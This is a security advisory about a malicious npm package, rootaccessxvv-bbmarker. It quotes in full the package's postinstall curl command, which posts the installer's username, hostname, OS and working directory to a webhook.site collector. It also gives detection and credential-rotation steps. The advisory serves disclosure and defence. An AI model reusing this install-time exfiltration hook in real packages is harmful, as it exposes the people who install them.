rootaccessxvv-bbmarkernpm
Advisory published Updated
rootaccessxvv-bbmarker is a confirmed malicious npm package (MAL-2026-18108) that steals credentials and exfiltrates sensitive data (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in rootaccessxvv-bbmarker (npm)
What this malware does
Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|[email protected]|benign-research-rootaccessxvv" || true. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The npm account mohamed2343224 published it on 2026-10-18.
package.json declares a postinstall lifecycle script that runs on npm install and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to whoami, hostname, uname, and node -v, concatenates the output with the current working directory, and sends the result via curl -X POST. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for rootaccessxvv-bbmarker (version 1.0.2).
If you installed it — respond
rootaccessxvv-bbmarker is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If rootaccessxvv-bbmarker was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- InvisiRisk, Inc. · finder
Detect & block this
O3 blocks rootaccessxvv-bbmarker-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.